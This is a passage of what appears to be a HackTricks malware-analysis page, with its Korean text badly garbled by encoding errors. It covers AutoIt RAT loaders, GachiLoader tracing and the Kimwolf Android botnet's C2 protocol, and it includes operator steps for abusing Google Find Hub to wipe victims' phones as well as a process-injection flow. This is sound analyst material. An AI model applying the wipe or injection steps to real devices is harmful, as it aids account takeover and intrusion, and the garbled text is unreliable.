- ์์ ํญ๋ชฉ LNK: Smart_Web.lnk; mutex:
Global\AB732E15-D8DD-87A1-7464-CE6698819E701 adb๋๋adv๋ฅผ ํฌํจํ๋ %APPDATA%\Google\Browser\ ํ์ํด๋์ ๋ชจ๋์ ์คํ ์ด์งํ๊ณ autoit.vbs/install.bat ํฌํผ๋ฅผ ํตํด ์์ํจ
ํฌ๋ ์ ํธ๋ฆฌ์์ง ํ:
- schtasks ์ด๊ฑฐ:
schtasks /query /fo LIST /v | findstr /i "IoKlTr hwpviewer" - Task XML๊ณผ ๋์ผ ์์น์ ์๋ ์ด๋ฆ ๋ณ๊ฒฝ๋ schtasks.exe ๋ณต์ฌ๋ณธ ํ์ธ:
dir /a "C:\Users\Public\Music\hwpviewer.exe" - ์ผ๋ฐ ๊ฒฝ๋ก:
C:\Users\Public\Music\AutoIt3.exe,...\IoKlTr.au3, ์์ ํญ๋ชฉSmart_Web.lnk,%APPDATA%\Google\Browser\(adb|adv)* - ํ๋ก์ธ์ค ์์ฑ ์๊ด๊ด๊ณ: AutoIt3.exe๊ฐ ์ ๋นํ Windows ๋ฐ์ด๋๋ฆฌ(ex: cleanmgr.exe, hncfinder.exe)๋ฅผ ์คํฐํ๋์ง ํ์ธ
AutoIt loaders and .a3x payload decryption โ injection
- AutoIt ๋ชจ๋์
#AutoIt3Wrapper_Outfile_type=a3x๋ก ์ปดํ์ผ๋๋ฉฐ, ์๋ฒ ๋๋ payload๋ฅผ ๋ณตํธํํ ํ ์ ์ ํ๋ก์ธ์ค์ ์ฃผ์ ํจ. - ๊ด์ฐฐ๋ ํจ๋ฐ๋ฆฌ: QuasarRAT (hncfinder.exe์ ์ฃผ์
), RftRAT/RFTServer (cleanmgr.exe์ ์ฃผ์
), ๋ฐ RemcosRAT ๋ชจ๋ (
Remcos\RunBinary.a3x). - ๋ณตํธํ ํจํด: HMAC๋ก AES ํค๋ฅผ ์ ๋ํ๊ณ , ์๋ฒ ๋๋ blob์ ๋ณตํธํํ ๋ค ํ๋ฌธ ๋ชจ๋์ ์ฃผ์ ํจ.
์ผ๋ฐ์ ์ธ ๋ณตํธํ ๊ณจ๊ฒฉ(์ ํํ HMAC ์ ๋ ฅ/์๊ณ ๋ฆฌ์ฆ์ ํจ๋ฐ๋ฆฌ๋ณ๋ก ๋ค๋ฆ):
import hmac, hashlib
from Crypto.Cipher import AES
def derive_aes_key(secret: bytes, data: bytes) -> bytes:
# Example: HMAC-SHA256 โ first 16/32 bytes as AES key
return hmac.new(secret, data, hashlib.sha256).digest()
def aes_decrypt_cbc(key: bytes, iv: bytes, ct: bytes) -> bytes:
return AES.new(key, AES.MODE_CBC, iv=iv).decrypt(ct)
์ผ๋ฐ์ ์ธ ์ธ์ ์ ํ๋ฆ (CreateRemoteThread-style):
- CreateProcess (suspended) of the target host (e.g., cleanmgr.exe)
- VirtualAllocEx + WriteProcessMemory with decrypted module/shellcode
- CreateRemoteThread or QueueUserAPC to execute payload
Hunting ideas
- AutoIt3.exe parented by MsiExec.exe or WScript.exe spawning system utilities
- Files with
.a3xextensions or AutoIt script runners under public/user-writable paths - Suspicious scheduled tasks executing AutoIt3.exe or binaries not signed by Microsoft, with minute-level triggers
Account-takeover abuse of Android Find My Device (Find Hub)
Windows ์นจํฌ ์ค, ์ด์์๋ ๋๋๋นํ Google ์๊ฒฉ์ฆ๋ช ์ ์ฌ์ฉํด ํผํด์์ Android ๊ธฐ๊ธฐ๋ฅผ ๋ฐ๋ณต์ ์ผ๋ก ์ด๊ธฐํํ์ฌ ์๋ฆผ์ ์ต์ ํ๋ ํํธ, ํผํด์์ ๋ก๊ทธ์ธ๋ ๋ฐ์คํฌํฑ ๋ฉ์ ์ ๋ฅผ ํตํด ์ ๊ทผ์ ํ์ฅํ์ต๋๋ค.
Operator steps (from a logged-in browser session):
- Google Account โ Security โ Your devices ํ์ธ; Find My Phone โ Find Hub (https://www.google.com/android/find)๋ก ์ด๋
- ๋๋ฐ์ด์ค ์ ํ โ Google ๋น๋ฐ๋ฒํธ ์ฌ์ ๋ ฅ โ โErase deviceโ(๊ณต์ฅ ์ด๊ธฐํ) ์คํ; ๋ณต๊ตฌ ์ง์ฐ์ ์ํด ๋ฐ๋ณต
- ์ ํ ์ฌํญ: ์ฐ๊ฒฐ๋ ๋ฉ์ผ๋ฐ์ค(์: Naver)์ ์๋ ๊ฒฝ๊ณ ์ด๋ฉ์ผ์ ์ญ์ ํด ๋ณด์ ์๋ฆผ์ ์จ๊น
Tracing heavily obfuscated Node.js loaders
๊ณต๊ฒฉ์๋ JavaScript ๋ก๋๋ฅผ standalone Windows ๋ฐ์ด๋๋ฆฌ ๋ด๋ถ์ ๋ฒ๋ค๋ก ํฌํจ์ํค๋ ๊ฒฝ์ฐ๊ฐ ๋๊ณ ์์ผ๋ฉฐ, ์ด ๋ฐ์ด๋๋ฆฌ๋ nexe๋ก ์ปดํ์ผ๋์ด ๋ฐํ์์ด ์คํฌ๋ฆฝํธ์ ํจ๊ป ๋ฐฐํฌ๋ฉ๋๋ค. ๊ฒฐ๊ณผ PE๋ ๋๊ฐ 60โ90โฏMB์ ๋ฌํ๋ฉฐ Node.js๊ฐ ์ค์น๋์ด ์์ง ์์๋ ์คํ๋ฉ๋๋ค. ํธ๋ฆฌ์์ง(๋ถ์) ์ค:
- Use
nexe_unpackerto carve the embedded JavaScript out of the PE and feed it to local tooling for static diffing. - Expect a disk-based mutex in
%TEMP%(GachiLoader drops a random<name>.lockfile that expires after ~5โฏminutes). Copying the file to the sandbox before execution lets you skip redundant stages while still seeing later payloads.
Node.js API tracing to defeat anti-analysis
Check Pointโs Nodejs-Tracer๋ ๋ชจ๋ Node.js ํ๋ก์ธ์ค ๋ด๋ถ์ ํต์ฌ ๋ชจ๋์ ํํนํ๊ณ ์ํฐ-VM ํ๋ก๋ธ๋ฅผ ์์กฐํ ์ ์๊ฒ ํด์ฃผ๋ฉฐ, ์ํ์ด ์ฐ๋ ๋ชจ๋ ์ํฐํฉํธ๋ฅผ ๋ณด์กดํฉ๋๋ค. ๋๋ ํ๋ ์คํฌ๋ฆฝํธ๋ฅผ tracer๋ฅผ ํตํด ์คํํ๋ฉด ๋ถ์๊ฐ ์ ์ด์ ๊ณ์ธก์ด ์ฝ ์คํ์ ๋จ์ต๋๋ค:
node -r .\tracer.js main.js
Key configuration toggles inside tracer.js allow you to:
- ํ์ผ์์คํ
, ์์ ํ๋ก์ธ์ค, ๊ทธ๋ฆฌ๊ณ HTTP ํ๋์ ๊ธฐ๋กํฉ๋๋ค(
LOG_HTTP_REQUESTS,SAVE_FILE_WRITES).kidkadi.node๊ฐ์ ๋ชจ๋ ๋๋กญ๋ ํ์ผ์ ์ ์ฑ์ฝ๋๊ฐ ์ญ์ ํ๊ธฐ ์ ์ ์์ ๋๋ ํฐ๋ฆฌ๋ก ๋ณต์ฌ๋ฉ๋๋ค. - ํ์ค์ ์ธ RAM/CPU ์๋ฅผ ๋ฐํํ๊ณ
tasklist์ถ๋ ฅ์ ์์กฐํ๋ฉฐ PowerShell/WMI ์๋ต์ ๋ณ์กฐํ์ฌ ํ๊ฒฝ ์ง๋ฌธ์ ์กฐ์ํฉ๋๋ค. ์ด๋ โฅ4โฏGB RAM, โฅ2 cores๋ฅผ ์๊ตฌํ๊ณ ์ฌ์ฉ์ ์ด๋ฆ(mashinesssss,wdagutilityaccount๋ฑ), ํธ์คํธ๋ช (desktop-vrsqlag,server1โฆ), ํ๋ก์ธ์ค ์ด๋ฆ(vmtoolsd.exe,fiddler.exe,x64dbg.exe,frida-server.exe)์ ๊ฒ์ฌํ๋ ๋ก๋๋ฅผ ์ฐํํฉ๋๋ค. Get-WmiObject Win32_DiskDrive(์:vmware,kvm,virtio๋ฑ ํ์ง),Win32_VideoController(โVirtualBox Graphics Adapterโ, โHyper-V Videoโ ๋ฑ ์ฐจ๋จ),Win32_PortConnector์นด์ดํธ ๊ฐ์ WMI ํ๋์จ์ด ๊ฒ์ฌ๋ฅผ ๋ฌด๋ ฅํํฉ๋๋ค. ์ด๋ฌํ ํ๋ก๋ธ๊ฐ โ์ค์ โ ํ๋์จ์ด๋ฅผ ๋ณด๊ณ ํ๋ฉด ์๋๋ฐ์ค๋ ๋ ์ด์ GachiLoader๊ฐ ๋ถ์ ์๊ฐ์ ๋ญ๋น์ํค๊ธฐ ์ํด ์ฌ์ฉํ๋Invoke-WebRequest์ ๋ฌดํ ๋ฃจํ(linkedin.com,grok.com,whatsapp.com๋ฑ์ผ๋ก์ ๋ฌดํดํ ํธ์ถ)์ ๋น ์ง์ง ์์ต๋๋ค.
Capturing gated C2 traffic automatically
The tracerโs network hooks reveal multi-layer C2 authentication without reversing the JavaScript obfuscation. In the observed campaign the loader:
- ๊ฐ ํ๋์ฝ๋๋ C2์
/log์ ํธ์คํธ ํ ๋ ๋ฉํธ๋ฆฌ๋ฅผ POSTํฉ๋๋ค. X-Secret: gachifamilyํค๋์ ํจ๊ปGET /richfamily/<per-sample key>๋ฅผ ํธ์ถํด Base64๋ก ์ธ์ฝ๋ฉ๋ payload URL์ ๊ฐ์ ธ์ต๋๋ค.- ๊ธด per-sample
X-Secretํค๋์ ํจ๊ป ํด๋น URL์ ์ต์ขGET์ ์ํํฉ๋๋ค; ํค๋๊ฐ ์์ผ๋ฉด403 Forbidden์ ๋ฐํํฉ๋๋ค.
tracer๊ฐ ์์ ํ ์์ฒญ(ํค๋, ๋ฐ๋, ๋ชฉ์ ์ง)์ ๊ธฐ๋กํ๊ธฐ ๋๋ฌธ์ ๋์ผํ ํธ๋ํฝ์ ์ฌ์ํ์ฌ ํ์ด๋ก๋๋ฅผ ๊ฐ์ ธ์ค๊ณ , ๋ฉ๋ชจ๋ฆฌ์์ Themida/VMProtect ์ ธ์ ๋คํํ๋ฉฐ, ๋๊ท๋ชจ๋ก Rhadamanthys ๊ตฌ์ฑ ๋ฐ์ดํฐ๋ฅผ ์ถ์ถํ ์ ์์ต๋๋ค.
AdaptixC2: Configuration Extraction and TTPs
์ ์ฉ ํ์ด์ง๋ฅผ ์ฐธ์กฐํ์ธ์:
Adaptixc2 Config Extraction And Ttps
Kimwolf Android Botnet Tradecraft
APK loader & native ELF execution on TV boxes
- ์
์ฑ APK(์:
com.n2.systemservice06*)๋res/raw์์ ์ ์ ๋งํฌ๋ ARM ELF(์:R.raw.libniggakernel)๋ฅผ ํฌํจํฉ๋๋ค.BOOT_COMPLETED๋ฆฌ์๋ฒ๊ฐ ๋ถํ ์ ์คํ๋์ด raw ๋ฆฌ์์ค๋ฅผ ์ฑ ์๋๋ฐ์ค(์:/data/data/<pkg>/niggakernel)๋ก ์ถ์ถํ๊ณ ์คํ ๊ถํ์ ๋ถ์ฌํ ๋คsu๋ก ํธ์ถํฉ๋๋ค. - ๋ง์ Android TV ๋ฐ์ค/ํ๋ธ๋ฆฟ์ ์ด๋ฏธ ๋ฃจํ
๋ ์ด๋ฏธ์ง๋ ์ ์ญ ์ฐ๊ธฐ ๊ฐ๋ฅํ
su๋ฅผ ์ ๊ณตํ๋ฏ๋ก, ๋ก๋๋ ์ต์คํ๋ก์ ์ฒด์ธ ์์ด๋ ์ ๋ขฐ์ฑ ์๊ฒ UID 0์ผ๋ก ELF๋ฅผ ๋ถํ ํฉ๋๋ค. ๋ฆฌ์๋ฒ๊ฐ ์ฌ๋ถํ ์ด๋ ์ฑ ์ฌ์์ ํ์๋ ๋ค์ ์คํ๋๊ธฐ ๋๋ฌธ์ ์ง์์ฑ์ ์ฌ์ค์ โ๊ณต์งโ๋ก ํ๋ณด๋ฉ๋๋ค. - ์ด ํจํด์ ์ฐพ๋ ๋ฆฌ๋ฒ์ค ์์ง๋์ด๋ ์จ๊ฒจ์ง ๋ถํธ ๋ฆฌ์๋ฒ์
Resources.openRawResourceโFileOutputStreamโRuntime.getRuntime().exec("su")๋ฅผ ์ฐธ์กฐํ๋ ์ฝ๋๋ฅผ ์ฐพ๊ธฐ ์ํดAndroidManifest.xml์ diffํ ์ ์์ต๋๋ค. ELF๊ฐ ๋๋กญ๋๋ฉด Linux userland ๋ฐฑ๋์ด๋ก ๋ถ๋ฅํด ํธ๋ฆฌ์์งํ์ธ์(Kimwolf๋ UPX-packed, stripped, statically linked, 32-bit ARM EABI5).
Runtime mutexes & masquerading IOCs
- ์์ ์ Kimwolf๋
@niggaboxv4/@niggaboxv5๊ฐ์ abstract UNIX domain socket์ ๋ฐ์ธ๋ํฉ๋๋ค. ๊ธฐ์กด ์์ผ์ด ์กด์ฌํ๋ฉด ์ข ๋ฃํ๋ฏ๋ก ์์ผ ์ด๋ฆ์ mutex์ ํฌ๋ ์ ์ํฐํฉํธ ์ญํ ์ ๋์์ ํฉ๋๋ค. - ํ๋ก์ธ์ค ํ์ดํ์ ์๋น์ค์ฒ๋ผ ๋ณด์ด๋ ์ด๋ฆ(
netd_services,tv_helper๋ฑ)์ผ๋ก ๋ฎ์ด์จ Android ํ๋ก์ธ์ค ๋ชฉ๋ก์ ์์ด๊ฒ ํฉ๋๋ค. ํธ์คํธ ๊ธฐ๋ฐ ํ์ง๋ ์ด๋ฌํ ์ด๋ฆ๊ณผ mutex ์์ผ์ ๊ฒฐํฉํด ๊ฒฝ๋ณด๋ฅผ ๋ผ ์ ์์ต๋๋ค.
Stack XOR string decoding with ARM NEON + flare_emu
- ๋ฏผ๊ฐํ ๋ฌธ์์ด(C2 ๋๋ฉ์ธ, ๋ฆฌ์กธ๋ฒ, DoT ์๋ํฌ์ธํธ ๋ฑ)์ 8๋ฐ์ดํธ ๋ธ๋ก์ผ๋ก ์ํธํ๋์ด ์คํ์ ํธ์๋๊ณ
VEOR Qx, Qx, Qy(veorq_s64)๋ก ์ ์๋ฆฌ์์ ๋์ฝ๋๋ฉ๋๋ค. ๋ถ์๊ฐ๋ flare_emu๋ฅผ ์คํฌ๋ฆฝํ ํด ๋ํฌ๋ฆฝํฐ๊ฐ ํธ์ถ์์๊ฒ ํฌ์ธํฐ๋ฅผ ๋๊ธธ ๋๋ง๋ค ๋ณตํธํ๋ ํฌ์ธํฐ๋ฅผ ํฌ์ฐฉํ ์ ์์ต๋๋ค:
import flare_emu
eh = flare_emu.EmuHelper()
def hook(eh, addr, argv, _):
if eh.isValidEmuPtr(argv[1]):
print(hex(addr), eh.getEmuString(argv[1]))
eh.iterate(0x8F00, hook) # sub_8F00 consumes the plaintext R1 argument
- Searching for
VEOR Q8, Q8, Q9/veorq_s64sequences and emulating their ranges mass-dumps every decrypted string, bypassing the stack-only lifetime of the plaintext.
DNS-over-TLS resolution plus XOR IP derivation
- All Kimwolf variants resolve C2 domains by speaking DNS-over-TLS (TCP/853) directly with Google (8.8.8.8) or Cloudflare (1.1.1.1), defeating plain DNS logging or hijacking.
- v4 bots simply use the returned IPv4 A record. v5 bots treat the A record as a 32-bit integer, swap its endianness, XOR it with the constant
0x00ce0491, then flip the endianness back to obtain the real C2 IP. CyberChef recipe: Change IP format โ swap endianness per 4-byte chunk โ XOR with00 ce 04 91โ convert back to dotted decimal.
ENS / EtherHiding fallback
- Later builds add an ENS domain (
pawsatyou.eth) whose resolver text key"lol"stores a benign-looking IPv6 (fed0:5dec:...:1be7:8599). - The bot grabs the last four bytes (
1b e7 85 99), XORs them with0x93141715, and interprets the result as an IPv4 C2 (136.243.146.140). Updating the ENS text record instantly rotates downstream C2s via the blockchain without touching DNS.
TLS + ECDSA authenticated command channel
- Traffic is encapsulated in wolfSSL with a custom framed protocol:
struct Header {
Magic [4]byte // e.g. "DPRK", "FD9177FF", "AD216CD4"
Reserved uint8 // 0x01
MsgType uint8 // verb
MsgID uint32
BodyLen uint32
CRC32 uint32
}
- ๋ถํธ์คํธ๋ฉ: ๋ด์ ๋ ๊ฐ์ ๋น
MsgType=0 (register)ํค๋๋ฅผ ๋ณด๋ ๋๋ค. C2๋ ์์์ ์ฑ๋ฆฐ์ง์ ASN.1 DER ECDSA ์๋ช ์ ํฌํจํMsgType=1 (verify)๋ก ์๋ตํฉ๋๋ค. ๋ด์ ์ด๋ฅผ ๋ด์ฅ๋ SubjectPublicKeyInfo blob์ ๋ํด ๊ฒ์ฆํฉ๋๋ค; ์คํจํ ๊ฒฝ์ฐ ์ธ์ ์ ์ข ๋ฃํ์ฌ hijacked/sinkholed C2 nodes๊ฐ tasking the fleet์ ์ํํ์ง ๋ชปํ๊ฒ ํฉ๋๋ค. - ๊ฒ์ฆ๋๋ฉด, ๋ด์ ์ด์์๊ฐ ์ ์ํ
MsgType=0๋ฐ๋์ operator-defined group string (์:android-postboot-rt)์ ๋ด์ ์ ์กํฉ๋๋ค. ๊ทธ๋ฃน์ด ํ์ฑํ๋์ด ์์ผ๋ฉด C2๋MsgType=2 (confirm)๋ก ์๋ตํ๊ณ , ๊ทธ ํ tasking (MsgType 5โ12)์ด ์์๋ฉ๋๋ค. - ์ง์๋๋ ๋ช
๋ น(verbs)์๋ SOCKS-style TCP/UDP proxying (residential proxy monetization), reverse shell / single command exec, file read/write, ๋ฐ Mirai-compatible DDoSBody ํ์ด๋ก๋(๋์ผํ
AtkType,Duration,Targets[],Flags[]๋ ์ด์์)๊ฐ ํฌํจ๋ฉ๋๋ค.
References
- Unit42 โ Evolving Tactics of SLOW#TEMPEST: A Deep Dive Into Advanced Malware Techniques
- SoTap: Lightweight in-app JNI (.so) behavior logger โ github.com/RezaArbabBot/SoTap
- Strategies for Analyzing Native Code in Android Applications: Combining Ghidra and Symbolic Execution for Code Decryption and Deobfuscation โ revflash.medium.com
- Ghidra โ github.com/NationalSecurityAgency/ghidra
- angr โ angr.io
- JNI_OnLoad and invocation API โ docs.oracle.com
- RegisterNatives โ docs.oracle.com
- Tracing JNI Functions โ valsamaras.medium.com
- Native Enrich: Scripting Ghidra and Frida to discover hidden JNI functions โ laripping.com
- Unit42 โ AdaptixC2: A New Open-Source Framework Leveraged in Real-World Attacks
- KONNI-linked APT abuses Google Find Hub to wipe Android devices after Windows intrusion โ genians.co.kr
- Android Find My Device (Find Hub) โ google.com/android/find
- RftRAT/RFTServer technical analysis โ asec.ahnlab.com
- HMAC background โ wikipedia.org/wiki/HMAC
- Kimwolf Android TV Botnet: ENS-Based C2 Evasion, TLS+ECDSA C2 Protocol, and Large-Scale Proxy/DDoS Operations โ blog.xlab.qianxin.com
- Check Point Research โ GachiLoader: Defeating Node.js Malware with API Tracing
- Nodejs-Tracer โ GitHub
Tip
AWS ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training AWS Red Team Expert (ARTE)
GCP ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:HackTricks Training GCP Red Team Expert (GRTE)
Azure ํดํน ๋ฐฐ์ฐ๊ธฐ ๋ฐ ์ฐ์ตํ๊ธฐ:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks ์ง์ํ๊ธฐ
- ๊ตฌ๋ ๊ณํ ํ์ธํ๊ธฐ!
- **๐ฌ ๋์ค์ฝ๋ ๊ทธ๋ฃน ๋๋ ํ ๋ ๊ทธ๋จ ๊ทธ๋ฃน์ ์ฐธ์ฌํ๊ฑฐ๋ ํธ์ํฐ ๐ฆ @hacktricks_live๋ฅผ ํ๋ก์ฐํ์ธ์.
- HackTricks ๋ฐ HackTricks Cloud ๊นํ๋ธ ๋ฆฌํฌ์งํ ๋ฆฌ์ PR์ ์ ์ถํ์ฌ ํดํน ํธ๋ฆญ์ ๊ณต์ ํ์ธ์.


